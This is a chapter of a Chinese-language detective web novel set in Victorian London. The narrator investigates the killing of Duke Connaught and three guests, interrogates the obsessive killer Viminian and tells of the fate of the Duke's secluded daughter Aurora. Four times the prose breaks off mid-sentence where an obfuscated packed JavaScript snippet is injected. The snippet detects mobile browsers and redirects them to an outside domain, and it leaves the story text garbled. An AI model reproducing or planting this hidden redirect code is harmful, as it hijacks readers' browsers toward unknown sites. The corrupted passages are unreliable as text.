白日的花园在明月的照耀下竟显得空旷寂寥，阴森可怖。 那晚的月色很明亮。 也可以让我清楚地看到穿着洁白纱裙的康诺特小姐。 月光和她谁更皎洁呢？ 我一时竟然无法说得上来。 那么，读者们，你们可以清楚那月下的人，是多么的独特与惊艳了吧。 她简直是月下精灵。 到了现在，读者们，我可以说，一切与纯洁有关的赞美都可以往她身上堆。 而这样子的一位小姐，竟然是那位老康诺特不为人知的女儿。 “康诺特小姐。晚上好。”简礼貌地和她打了一下招呼。 要知道，她待人可并不无理。 “晚上好。小姐们。”奥若拉小姐眨了眨眼，她显然没想到会在夜晚碰见我们。 “我还以为所有人都会去参加那个藏品鉴赏。”她说着，我能从她身上感受到一种莫大的悲哀。 她只是低垂着眼，秀发散落，月光照在她的身上。 “小姐……”我开口想却不知道怎么说。 “不。没什么。”她慌乱地说着，然后离开了。 她太慌乱了，甚至是有东西掉下来也没发觉。 事实上，我也没发觉，是简将它捡了起来。 那像是一张便签。 Miss, we need to have a proper conversation. Just as we always do, let''s meet under the moonlight. （小姐，我们需要好好的聊一聊，像往常一般，月下相见。） 署名是，…？nian。 便签掉在地上，沾上了夜晚的水汽，墨水晕染开来，模糊了署名。 “原来如此。”简突然说道。 “什么？”我好奇地凑过去看了看便签。 不得不说，我似乎也知道了些什么。 好复杂。 读者们，当我在这里书写的时候，我又不得不为康诺特小姐做出的选择而惊叹。 但是，当时我最好奇的，还是最深处的展厅里面有什么？ 与康诺特小姐的相遇，不过就像是一小段微不足道的插曲。 我和简无意探知别人的隐私。 我们背离了那光亮的庄园，走入了黑暗的伦敦街道。 “简。”我叫她。 “什么？”她停下了发动车子的动作。 “是闹鬼吗？”我看向窗外问。 夜幕下辉煌的康诺特庄园与破败的老旧教堂有什么差别呢？ “嗯。”她应着。 教堂闹鬼。 我和简都知道。 那种，危险的、迷惘的、带来死亡气息的东西。 沉默。 我看着街道变幻。 影子倒映在车窗上。月亮挂在天上。明日的太阳会升起。 我能做什么？ 报告苏格兰场？ 呵。 …… 那股无力感再一次包围了我。 我只是一个旁观者，一个记录者，一个在漩涡边缘被轻轻扫到的浮萍。 简可以带我离开，格林小姐可以游刃有余地挑衅，公爵可以疯狂地炫耀…… 而我，只能看着，感受着，然后被那冰冷的黑暗气息一点点浸透。 我需要能力。 这个念头像野草一样疯长，带着尖锐的刺。 我需要权力。不是公爵那种建立在掠夺和疯狂之上的权力，也不是格林小姐那种裹挟着硝烟的危险权力，而是……足以刺破黑暗，足以看清真相，足以保护自己不被轻易碾碎的东西。一种能让我不只是“弗瑞·本小姐”，一个被简保护着，被格林小姐逗弄的东西。 …… 车子驶入我们熟悉的街区，最终在公寓楼下停稳。引擎熄灭，夜的寂静瞬间包裹上来，带着凉意。 “到了。”简的声音打破了沉默，她推开车门。 我也跟着下车，夜晚的空气带着湿气，吸入肺里，却感觉不到多少清新。 抬头望向公寓的窗户，一片漆黑。 我们沉默地走上楼梯，钥匙在锁孔里转动的声音在空旷的楼道里格外清晰。 那一晚，我睡得并不安稳。 梦里充斥着公爵扭曲的狂笑、格林小姐意味深长的眼神，还有奥若拉·康诺特在月光下苍白如纸的脸。 最深处，那扇沉重的红木门无声地打开，里面涌出的不是珠宝，而是粘稠迷惘的气味。 第二天清晨，伦敦被一层灰蒙蒙的薄雾笼罩。 我比平时醒得稍晚，洗漱时，窗外传来报童嘶哑的叫卖声，穿透了薄雾，带着一种不同寻常的急促。 “……号外！号外！康诺特庄园惨案！公爵身亡！” 康诺特公爵死了。 我胡乱擦了把脸，冲出浴室。 客厅里，简已经起来了。 她穿着晨袍，背对着我站在窗边，手里捏着份报纸。 窗外的薄雾映衬着她挺直的背影，显得有些冷硬。 她没有回头，只是静静地站在那里，看着窗外被雾气模糊的街道。 我走到她身边，目光落在她手中的报纸上。 巨大的黑色标题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158910|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 康诺特公爵昨夜离奇身亡！庄园多人殒命！疑云重重！ 标题下方，是公爵那张熟悉而此刻显得格外僵硬的面孔照片。 报道语焉不详，只提到公爵在昨晚的“私人鉴赏活动”后被发现死于书房，死因可疑。 更令人心惊的是，报道的末尾，用一行小字冰冷地提到，“庄园内另有数名宾客被发现身亡，死状各异，警方已介入调查……” 空气仿佛凝固了。 窗外的报童还在声嘶力竭地喊着。雾气似乎更浓了，将窗外的世界裹得严严实实。 简终于动了动。 她缓缓转过身，将报纸递给我。 她的脸上没有什么表情，只有那双浅绿色的眼睛，深邃冰冷，清晰地映照出我此刻的震惊。 “不止他一个。” 她的声音很平静，透着寒意，“伦敦，又要动荡起来了。” 她转身走向卧室。“换衣服，弗瑞。去事务所。”语气不容置疑。 我低头看着报纸，那些黑色的标题在眼前跳动。 今日的惨案是如此的迅速。 让昨日的一切仿如梦境。 …… 我们没有吃早餐。沉默地换好衣服，沉默地出门。 雾气比刚才更浓了，街道上行人寥寥，步履匆匆。 报童的叫卖声已经远去，但那份号外带来的震动，似乎已经渗入了这座城市的砖缝里。 事务所里一如既往。 简径直走到她的办公桌后坐下，打开了台灯。她开始不断的通话，发信，动作利落。但我能感觉到整个气氛的压抑。 我坐在自己的小桌前，试图整理混乱的思绪。 我需要做点什么，哪怕只是泡杯茶。刚拿起水壶，事务所老旧的门铃就突兀地响了起来。 叮咚，声音在寂静的房间里格外刺耳。 我和简同时抬头看向门口。 这么早，会是谁？老滴答带上来的人，不是应该敲门吗？老滴答呢？ 简没有起身，只是盯着门的方向。“开门，弗瑞。” 我放下水壶，深吸一口气，走过去拧动门把手。 门外站着的，是格林小姐。老滴答默默地跟在后面。 她依旧穿着昨晚那身剪裁利落的深色套装，只是外面随意地披了件黑色长风衣，头发不像昨晚那样一丝不苟，有几缕散落在额角，带着风尘仆仆的倦意。然而，那双眼睛却亮得惊人，没有丝毫困顿。她身上那股独特香水味，即使在清冷的晨雾里，也扑面而来。 “早上好，弗瑞小姐。”她勾起唇角，笑容依旧优雅。“里斯克在吗？” “格林。”简的声音从我身后传来，平静无波。“进来吧。” 格林小姐侧身走了进来，带来室外的寒气。她目光扫过简，落在她摊开的报纸上，嘴角的弧度加深了些。“看来你们已经知道了。” 我看了看她身后的老滴答，向他投递了一个安抚的眼神，示意他下去。 “比你晚一点。”简合上面前的文件，身体微微后靠，手习惯性地在桌子上敲击。“庄园里什么情况？” 格林小姐走到简的办公桌前，没有坐，只是随意地靠在桌沿。 她修长的手指无意识地卷着一缕垂下的发丝。 “老家伙死在他的书房里，表情……很精彩。初步看，像是某种烈性药物过量，但谁知道呢？” 她语气轻描淡写，像是在谈论天气，“至于其他人……”她顿了顿，目光变得有些玩味，“莫里安，那个艺术家，还有两个昨晚叫价最凶、看起来最想巴结老家伙的富商，都安静地躺在了不同的地方。死法……各有特点。” 58.6.6 “他的死不符合安排。但…也是机会。”简的手无意识地敲击着，她猛地站起来，拿过了搭在椅背上的外套。“我得去见一趟…先生。” “格林。按计划吞并。”简说。 “放心。”格林小姐认真地说。 “弗瑞。”简经过我的身边的时候停顿了一下。 简就着身高差拍了拍我的肩膀，“不用担心。案子的调查，就交给你了。我相信你。” “嗯。”我应了。 当时的简，和先生谈话的时候，交流了什么呢？ 我不知道。 格林小姐在之后迅速地吞并了康诺特公爵负责的事物，甚至包括他一半以上的财产。 梅尔小姐仍旧神出鬼没的，但她必然也是参与其中。 而当时的我，带着一堆简还有格林小姐安排的人，前往了康诺特公爵的庄园。 负责的警探是我们的老熟人，怀特警探。 “本小姐。”怀特警探向我示意，“我没想到你会来。” “嗯。”我点了点头，“具体什么情况？” “死了四个人。”怀特警探面容凝重地说。“两个地点。公爵，莫里安在书房。另外两个富商在一间展厅。” “这边。”怀特的声音压得很低。 “现场很糟糕。仆人都很慌张。老管家现在在负责公爵府里的事情。那些宾客都不愿意配合，说自己早就离开了，完全不知道发生了什么。我只能派人看着他们。但你知道的……” 我默默听着。 首要目的地是公爵的书房，位于庄园的东翼。门虚掩着，门口守着两名面色苍白的年轻警员。推开门，那股恶心的气味猛地浓烈起来。 我和怀特用手帕捂着鼻子，走了进去。 书房极尽奢华，三面墙是顶天立地的胡桃木书架，塞满了烫金封皮的典籍。然而此刻，这空间被死亡彻底玷污。 康诺特公爵的躯体趴在地倒在巨大的红木书桌前，昂贵的丝绒睡袍被染透了大片暗红。他的头颅朝上，后脑勺的位置一片狼藉，颅骨明显碎裂凹陷，红白之物溅满了四周。那一下打击极其猛烈，带着毁灭性的力量。 一个沉重的金属摆件落在他脚边，被血迹浸透。应该就是凶器。 离公爵不远的地上，莫里安躺在那里。他的姿势并不奇怪，只是普通地倒在地上，奇怪的是他的脸上呈现着一种近乎狂喜又极度痛苦的表情，皮肤呈现出死气的灰白。 他身边散落着精致的锡纸、小巧的玻璃瓶和一些粉末残留，空气中那股甜腻的迷惘气息正是源于此。 怀特警探低声补充，“初步判断，鸦…吸食过量。死亡时间……和公爵接近。”他的目光扫过莫里安那张扭曲的脸，带着明显的厌恶。 “你怎么看？”我忍着恶心问。 “应该是莫里安吸食过量。精神发狂，杀了伯爵。”怀特警探推测道。 似乎很有道理。 但是… 伯爵会与一个吸食…的人共处一室？ 我戴上了苏格兰场准备的手套，忍着恶心走进了几步。 说真的，在简带我爬过地道和烟道之后，面对这种恶心的气味，我都有自己的一套应对方法了，也可以说是适应了。 对我来说，最可怕的是那极具冲击力的画面。红的，黄的，液体，固体混在一起，到处都是。 我强忍着恶心，捡起来了地上的金属摆件。 那是一个拿破仑半身像。完全实心的。 我环顾了一下书房，在书桌后面的靠墙书架上找到了一个空位。 放上去。 刚刚好。 “不对。”我说。 “什么？”怀特警探有些莫名其妙。 但我没有回答他，我的注意力都被案子场景的分析吸引了。 我站在那，在书桌后面，金属的摆件就在我的旁边，公爵尸体的后脑勺朝向了我。 如果当时公爵站着，凶手应该就在和我差不多的位置。 公爵背对着凶手，他面前可能有人，但是他做了什么事或者说了什么，凶手顺手就拿起了这个半身像。 然后，砸！砸！砸！ 怀特警探看见了我的动作，他也明白了过来，脸色铁青。 “去调查伯爵亲近的人。”他和身旁的手下说。 我放下了半身像，往前走了几步。 莫里安的确是死于…吸食过量。 他还是穿着昨天的那套衣服，我让人上手检查了一下。 他身上什么东西都没有了，连之前看见的凯特夫人给他的宝石戒指都不见了。 我不认为是凶手拿走了，毕竟公爵其他的宝物的安然无恙地待在这。 应该是他自己换了，用自己全部的金钱，换了那种…迷惘的死亡快感。 他应该是被人搬过来的，为的就是营造这种吸食过量，失手杀人的感觉。 凶手… 我隐隐约约有了一些想法。 “告诉你手下，将维明里安带回去。”我说。 “行。” 我小心翼翼地避开了那些不可名状的东西，却在经过公爵尸体的时候，看见他指甲里卡着什么。 是一小片白纱。 很小一片。 我没有声张，而是先把它收了起来。 我知道，接下来，我应该去看看另一个现场。还有，去见一见，仍未现身的康诺特小姐。 那两个富商死在了第三间展厅。 第一具尸体就在入口不远处。 那是帕默顿爵士，一个以刻薄和贪婪闻名的航运大亨。 他肥胖的身躯面朝下趴在一座古埃及法老半身像旁。 然而致命的并非撞击。 一条硕大珍珠项链，每一颗都价值不菲，此刻却深深勒进了他脖颈的肥肉里，几乎要嵌进骨头。 他的脸因窒息和充血呈现出可怕的紫黑色，舌头肿胀地伸出嘴角，眼睛暴突。 那串昂贵的珍珠，沾满了油腻的汗渍和死亡的气息，在展厅的射灯下反射着诡异的光。 展厅最深处，靠近一尊来自东方的青铜佛像区域，倒着第二具富豪尸体。 哈德勋爵，一个热衷于殖民掠夺的矿业巨头。 他的死法更为突兀和荒诞。 一尊表情肃穆的佛头，显然是从一个等身高的佛像上被硬生生砸落或推下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162733|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，此刻正严丝合缝地砸扁了他的头颅。 佛头浸在更大一滩暗红黏稠的血泊里，哈德利勋爵昂贵的定制西装被染得污秽不堪，只有一只戴着巨大钻戒的手，从佛头下无力地伸出来，手指微微蜷曲。 佛头那低垂的眼睑和悲悯的表情，覆盖在下方血肉模糊的残骸之上，构成了一幅极具讽刺和恐怖的画面。 空气中，那股迷惘的气味在这里同样挥之不去。 怀特指着散落在帕默斯顿爵士和哈德利勋爵尸体附近的一些粉末痕迹和小巧的玻璃烟斗碎片。 “两人都有吸食…的迹象，初步看是高纯度可卡…死亡时间……也差不多。” “又是…过量？”我问。 “现场迹象很明显。”怀特点头，眉头紧锁，“帕默顿像是被从背后勒住，哈德利……更像是自己倒霉，或者被推搡中撞倒了雕像？” 我蹲下身，避开帕默斯顿爵士那张紫胀扭曲的脸，目光落在他脖颈上那串价值连城的珍珠项链上。 勒痕深陷，珍珠深深嵌入了肥厚的皮肉里，几乎看不见链子的金属部分。 勒死需要极大的力量和持续的压迫，尤其是在对方挣扎的情况下。 “怀特，”我指了指帕默顿被勒得变形的脖子，“这力道，不像是一个同样吸食过量，手脚发软的人能做到的。尤其……” 我顿了顿，目光扫过帕默顿庞大沉重的身躯，“对方还是他。” 怀特也蹲了下来，仔细看着勒痕，脸色更加难看，“你是说……有第三人？或者……当时有人没吸那么多？” “也许有人根本没吸。” 我站起身，环顾这间展厅。 地毯有着不太明显的褶皱。 似乎是拖拽的痕迹。 莫里安恐怕也是在这里吸食…然后被拖到了书房。 毕竟，两个地方很近。 不经过外面两个展厅，而是走这个展厅的内部，只需要一个走廊，就可以到达书房。 灯光打在冰冷的藏品上，投射出长长的、扭曲的阴影。 那股迷惘的气息，像一层无形的雾霭，笼罩着一切。 我的目光掠过散落的粉末，掠过帕默斯顿的尸体，落在那尊肃穆的佛像上。 佛头滚落的地方，哈德利勋爵那只戴着硕大钻戒的手无力地伸出，在血泊中显得格外刺眼。 就在这时，我眼角的余光捕捉到了一点异样。 在靠近展厅入口，一个不起眼的、摆放着东方漆器的矮柜角落阴影里，有一小块揉皱的织物。 我走过去，戴着手套小心地捡起。 是一块男用手帕。我见过。 很脏。皱巴巴的。 上面沾满了鲜血。 就像是使用者慌乱地擦拭着身上或者手上溅满的鲜血，然后颤抖地塞进口袋。结果掉了出来。 这块手帕，我见过。 是凯恩·乔安里维奇先生的。 那个懦弱畏缩的男人。 “怀特警探。你带人找一下乔安里维奇夫妇。将他们带回苏格兰场。”我说。 “那本小姐你…”怀特警探问。 “我该去见见奥若拉小姐。” 59.6.7 我是在花园里找到这位美丽的小姐的。 奥若拉·康诺特。 她不像昨天那样穿着素白的纱裙，反倒是一身沉闷的黑色，黑纱笼罩着她，遮住了她大半张脸。 “康诺特小姐。”我示意跟着的人停下，独自一人走近这位小姐。 她看着我笑笑，“我见过你。” “我是弗瑞·本。你可以称呼我弗瑞。”我刻意拉近着距离，“我可以叫你奥若拉吗？” 她点了点头。然后又沉默地看着花朵。 “请节哀。”我说。 “节哀？”她摇了摇头，“我为什么要节哀。” “你不喜欢你的父亲？”我问。 读者们，这是一个可以轻易得出答案的问题。但我还是问了，对于这样有小姐，我不可能上来就直接质问别人是不是凶手，质问他父亲死亡的时候她是否在房间。 公爵死亡的时候，那个站在他面前的人，必然是我眼前的这位奥若拉小姐。 那一小块白纱就是证据。 那与昨天晚上奥若拉小姐的衣服是同一种材质。 那个站在伯爵身后的凶手，则是伯爵信任的，与欧若拉小姐有关系的维明里安（Viminian）。 即使那份便签被模糊的姓名，也还是可以通过其方面知道。 但这些，我都不太可能直接去质问这位小姐，那太尖锐了。 “只是我的父亲，不太喜欢我而已。”奥若拉站在花丛边说，“小姐，你知道我的身份。也必然清楚这点。” “父亲说，母亲喜欢郁金香，所以庄园几十年如一日地种满郁金香。父亲说，我的存在让母亲死掉了，所以他不愿意见到我。”这位美丽的小姐自顾自的说着。 “管家叔叔告诉我说，父亲是爱我的，只是他更爱我的母亲。我要乖乖的，听父亲的话，要呆在庄园里。” “我很听话。我很相信父亲。我从来没有出过庄园。”她俯下身，捧起了一束郁金香，她的话仍旧在继续。 “但是，维明里安告诉我，不是的。”她猛地掐断那支花，声音充满愤恨与悲痛欲绝。 读者们，我是那么倾听着，倾听着这位小姐的诉说。 “维明里安说，父亲并不爱我的母亲，因为他在外面有着一个又一个的女人，一个又一个的孩子。父亲并不爱我，因为外界从未知晓过我的存在。” 我不知道怎么说，也不知道怎么去安慰。维明里安说的也许是对的，但是他让一个人从出生起就接受的观念，彻底崩塌。 “我就像是父亲是侍养在庄园里的郁金香。所有人都说我好看，所有人都说爱我。”那朵郁金香已经在她的手里碎成了碎片，“都是假的。” “父亲是。管家叔叔也是。还有那个总是跑过来的莫里安也是。还有一些我不认识的那些人也总是在夸我。都是假的！” “没关系的。维明里安说，他是真的爱我，他不会骗我的。他想要我和他在一起。”这位小姐的语气带上了几分轻快。 我皱了皱眉。 “你不能轻易相信任何人。”我忍不住地说。 读者们，看到这儿，我想你已经明白了，这位奥若拉·康诺特小姐，有着无与伦比的美貌。却也有着孩童那般可怕的纯粹与固执。 而那位维明里安，他所做的，就仿佛是将这位小姐虚假的外壳打破，然后在废墟中朝这位小姐伸出手说，别怕，相信我，我爱你，我可以保护你的。 这简直太荒唐了。 他是真的爱这位小姐吗？他的做法又是否是对的？ 我不知道。 奥若拉小姐应该要有自己的分辨能力，但维明里安所做的一切是否是趁虚而入呢？他真的会是一个好的选择吗？ 而且，按照证据还有我的推测显示，杀死公爵，并且伪造现场的凶手就是这个维明里安。 这位小姐，当时应该就在现场。 她直接目睹了那血腥可怖的一切。 可是她现在竟然是欢快的。 “嗯嗯。我不能信他。所以我要证明。事实证明，他说的是真的，他是真的爱我的。” “证明？怎么证明？”我察觉到了这个说法的不对劲。 “哈哈。我想要他杀死不爱我的人。他做到啦！哈哈！他做到啦！” 这个时候的奥若拉小姐，与昨天夜晚看见了那个充满悲哀的小姐，简直是判若两人，她甚至蹦跳了两下拍了拍手。 一股寒意窜上了我的心头。一个可怕的猜想在我脑中形成。 “小姐。”我的手用力拉住她，力道甚至有些失控，让她好看的蹙了蹙眉。 “你确定？！！”我问道。 她可能是被我吓到了，整个人显出一种无辜和害怕。 “你在对我生气吗？你讨厌我吗？”她歪着头问，语气有些可怕。 “不…”我调整了一下情绪，安抚着她，尽量平稳地说，“我带你去见维明里安好不好？” “好！”她笑了，乖乖巧巧地应道。 我带着奥若拉小姐回到苏格兰场时，气氛凝重得如同伦敦永不散去的雾霾。 她乖巧地跟在我身侧，黑纱后的脸庞看不出情绪，仿佛刚才在花园里那番惊心动魄的倾诉只是我的幻觉。 但我知道不是。 怀特警探的效率极高，维明里安已经被单独安置在一间审讯室里。 他没有被戴上手铐，只是安静地坐在冰冷的铁椅上，姿态甚至称得上从容。 见到我推门进去，他抬了抬眼皮，目光却立刻越过我，牢牢锁在我身后那个黑色的身影上。 那眼神让我极不舒服。 那不是担忧，不是爱慕，而是近乎狂热、审视自己最完美作品般的骄傲与占有。 我让一名女警员先带奥若拉去隔壁房间休息等候。 门关上时，维明里安的视线才慢吞吞地收回来，落在我身上，嘴角甚至有着若有若无的笑意。 “本小姐。”他微微颔首。 我没有坐下，只是靠在审讯桌边，居高临下地看着他。 房间里灯泡昏黄，在他脸上投下深深的阴影，让我曾经认为他原本还算周正的相貌平添了几分阴鸷。 是的，即使到这个时候，我还是认为他最独特的是那种气质，无论什么时候，他仿佛没有任何的胆怯拘谨。 “维明里安，”我开门见山，声音冷硬，“康诺特公爵书房里的那个半身像，手感如何？” 他轻轻笑了一声，并非嘲讽，更像是一种回味。 “很沉。”他说，甚至活动了一下手腕，“非常沉。需要很大的力气，才能砸碎那么坚硬的头骨。一下，两下……直到确保他再也说不出那些亵渎奥若拉的话。” 他的描述直接而残 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166482|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍，没有一丝回避。 “你让奥若拉小姐看着？”我的指甲几乎掐进掌心。 “当然。” 他的眼中迸发出一种可怕的光彩，那是毫不掩饰的成就感。 “她想要见证。见证我对她的爱，见证她痛苦的根源是如何被我亲手解决。恐惧？尖叫？不，我的奥若拉很勇敢，她看着，她明白，我是为她而战，我是能真正‘做到’的人。那些只会用虚伪言辞哄骗她、束缚她的人，比如那个老管家，比如莫里安那种废物，他们什么都给不了她，只会汲取她的美丽和生命力。” 他身体微微前倾，压低的声音里充满了蛊惑与偏执的激情。 “只有我，我能把阻碍她的一切都清除掉。公爵？他该死，他把奥若拉当作囚禁亡魂的花瓶。莫里安？他更该死，他用肮脏的目光觊觎不属于他的珍宝，还妄图用那些低劣的粉末玷污她……我不过是帮他们更快地解脱，顺便，让他们的死变得更有价值一点。我是在顺应奥若拉的要求。” “所以你加大了他们的药量，然后把神志不清的莫里安拖到书房，伪造他发狂击杀公爵的假象？” “非常正确。”他爽快地承认，“莫里安那种蠢货，给他一点更强的‘快乐’，他就什么都忘了，恨不得把命都献祭出去。让他最后发挥一点作用，是他的荣幸。” “那展厅里的两位呢？帕默顿和哈德利？也是你的手笔？” 维明里安的笑容变得讥诮起来，“他们？他们是自寻死路。我只不过是为他们提供了纯度更高的‘天堂’，再稍微……引导一下。” 他眯起眼，仿佛在欣赏一幅杰作，“贪婪，猜忌，在药物作用下无限放大的暴戾……那些脑满肠肥的所谓上流人士像野兽一样为了最后一点粉末互相撕扯，你知道吗，那位乔安里维奇，我给了他勇气，给了他机会。” 他甚至模仿了一下人临死前的短促气音，脸上带着一种残忍的愉悦。 “哦，对了，公爵倒下前也是这种声音。很动听，不是吗？这惨叫证明了他的虚弱和无能，他根本不配做奥若拉的父亲。” 我胃里一阵翻江倒海。 眼前的男人已经不能用简单的“凶手”来定义。 他冷静地策划谋杀，残忍地执行，并从中汲取扭曲的成就感和审美愉悦。 他将奥若拉视为私有物，用鲜血和死亡作为向她证明爱意，并陶醉于自己为她构建的这个残酷“真实”世界。 “你把她变成了共犯。”我的声音因压抑的怒火而有些沙哑。 “不！”维明里安猛地打断我，第一次显露出激烈的情绪，他眼神灼灼，“我是在顺应她的要求，是她的执行者，是她的解放者！我带她看清真相，我为她扫清荆棘！她需要我！只有我能保护她，只有我能给她真正活着的感觉！” 他的胸膛起伏着，那份可怕的独占欲和扭曲的爱意几乎要破体而出。 我看着他，仿佛透过皮囊看到了一个疯狂燃烧的灵魂。 记录员在一旁奋笔疾书，房间里只剩下笔尖划过纸张的沙沙声，以及维明里安逐渐平复却依旧灼热的呼吸。 我知道，他承认了一切。 但他不认为自己是罪人，他认为自己是个为爱冲锋、破除虚妄的勇士。 而隔壁房间那个美丽的、被彻底重塑了世界的奥若拉·康诺特，是他的共犯，他的指使者，还是他的受害者？ 60.6.8 “你简直…不可理喻！”我猛地拍了一下桌子，我面前的这个男人没有任何一丝一毫的恐惧。 他反而笑得更欢了。 “你们会被审判的！你极有可能会被判处绞刑，难道你忍心让奥若拉小姐……” 我的话还没有说完，面前的这个疯子，突然爆发出激烈的狂笑。 “啊哈哈哈哈哈！” “哈哈哈哈！那正好就审判快点来临吧！这样英格兰的历史上都会书写我们的故事！我和她将永远不会分开！” 上帝啊！ 这是闯入人间的恶魔吗？！！ 我真的待不下去了，直接离开了审讯室，反正基本的都已经问出来了，剩下的就交给苏格兰场的人吧！ “本小姐。辛苦了。”看见我出来，我们忠实的老朋友怀特警探连忙说。 “这案子简直太复杂了，没事，您不用担心。只要人抓到了，剩下的我们就只能交给法院还有审判团了。” “唉…”我和他都叹了口气。 “你那边怎么样？”我问。 怀特警探负责乔安里维奇夫妇的审问。 “别提了。那男的就跟个鹌鹑似的。完全看不出来是能把那两个人干死的样子。而乔里奇夫人，咬死了就说他丈夫神志不清。” 这可真是… 透过单向玻璃，我看到了凯恩·乔安里维奇先生的状态。 说真的，怀特警探的形容一点没差。 与维明里安截然相反，乔安里维奇先生，整个人畏畏缩缩的坐在审讯椅上，浑身发抖，嘴唇发白，身上跟淌水一样地流汗。 审讯的警探的声音都小了一些，生怕把他吓出个好歹来。 之后的日子，那个懦弱的男人就那样子一直保持着沉默，而他的夫人带着一大批的律师还有人手大闹苏格兰场。 “怀特警探。摁不死杀人，也要摁死他吸…”我打电话告诉怀特警探说。 但出乎我的意料的是，凯恩·乔安里维奇先生的审判无比迅速的到来了。 甚至比维明里安，还有康诺特小姐到的都要早。 他被判处迅速绞刑。 执行刑罚的那天，凯恩·乔安里维奇先生无比的高兴。他以为他要出去了。 但是，当审判的绞索挂在他的脖子上的时候，他惊慌失措的大喊，“不！不对！不应该！你们…不全是…我！…” 这个曾经的旧贵族，懦弱了一辈子的男人，最后大声咆哮，然后断气。 可怜的乔安里维奇夫人，丽拉，之后就近乎一蹶不振，再也没有曾经的那种嚣张甚至是口无遮拦。 在花了无数钱财，并且在那些参与展会的贵族，官员还有富商面前碰壁之后。 她保持沉默。 …… 简后来了解了案子，她和我说，乔安里维奇先生的案子里面一定有猫腻。 那些参与人如此统一地保持着缄默。 凭着凯恩·乔安里维奇先生的一己之力，就算能够不断绞动那硕大的珍珠，又如何推倒了沉重的佛头。 在那个迷惘的气息弥漫的混乱夜晚，究竟发生了什么呢？ 在凯恩·乔安里维奇先生死后，也没有追究的必要了。 …… 维明里安和奥若拉·康诺特小姐的判决是在半个月之后出来的。 我参与了他们的审判旁听。 当法官念到他的名字和奥若拉小姐的名字一起的时候，他脸上是那种张扬的、势在必得的微笑。但很快，就被疯狂和咆哮给取代了。 法院判处了他死刑。 而对于奥若拉·康诺特小姐，大部分的陪审团成员一致的认为，奥罗拉小姐心智并不健全，同时存在被引诱被蛊惑。此外，她并没有切实参与杀人。 他们判处奥罗拉小姐，于圣玛丽修道院，终身监禁。 “不！你们不能！奥若拉！我爱你！我们是相爱的！我们应该永不分开！我们应该一起！奥若拉，你要看向月亮！你不能忘了我！我等你！我等着你！我等着你！哈哈哈哈哈！” 维明里安被拖拽着上了绞刑架。 为了照顾奥若拉小姐的心理，并没有让他看见维明里安的行刑过程。 并且她被迅速地被送入了修道院。 我曾去见过她，在简的陪同下。 整个修道院可能比不上曾经的康诺特庄园的十分之一，房间更是狭小得可怜。 没有花园，没有花，没有…郁金香。 “维明里安呢？”奥若拉小姐一脸好奇地问我。 “他…死了。”我说。 读者们，维明里安对于奥若拉小姐的影响来说，实在太大了。当我说出这三个字的时候，我甚至担心面前的小姐精神崩溃。但是，这个美丽的女孩只是沉默的点了点头。平静得出乎意料。 “你不难过吗？”我忍不住问。 “他没有完成约定，他没有陪着我，他骗了我。我为什么要难过。”她歪了歪头，仍就是那副天真的样子。 我不知道说什么。 我只是拉了拉简，想要和她离开。 “你在看什么？”一直安静地陪着我的简突然问。 “我在看月亮。维明里安说，等月亮出来，我们就可以见面。” 上帝啊… 修道院的铁窗将月光分割成惨白的碎片，落在奥若拉苍白的脸上。 她终日坐在石凳上，望着那轮冰冷的月亮，仿佛在等待一个永不会到来的约定。 我偶尔会去看她，她用指甲在墙上刻字，都是同一句话。 月亮说谎了。 …… 奥若拉·康诺特小姐，此后的终其一生，都会在修道院中度过。 她从一个牢笼走到了另一个牢笼。 康诺特公爵的家产，她获得了一半。而公爵那些在外面的女人和孩子几乎分毫未有。 那个叫嚣着各凭本事的康诺特公爵，随着财产最后被瓜分，彻底再没有人提起。 在简还有格林小姐的努力下，她们几乎拿到了康诺特公爵所负责的全部的海外事务。而简和先生的谈话之后，先生近乎默许了她们的动作。 反正那几天，简的心情都变好了不少，梅尔小姐的空闲时间也更多了（激动得拉着我训练了好几天），就连格林小姐也时不时跑来找我们喝咖啡。 对了，莫里安死后，凯特夫人又换了一个新的对象。 不同于莫里安的温柔体贴，据说凯特夫人新看上的人，有一种傲气，惹得夫人追着他，并且豪掷不少珍宝。 …… 故事记到这里应该差不多了。 对了，还有很重要的小事。 当时是康诺特公爵庄园惨案彻底审判完不久。我正在忙着整理这个案子的所有相关档案。顺便和简调查几个新的案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 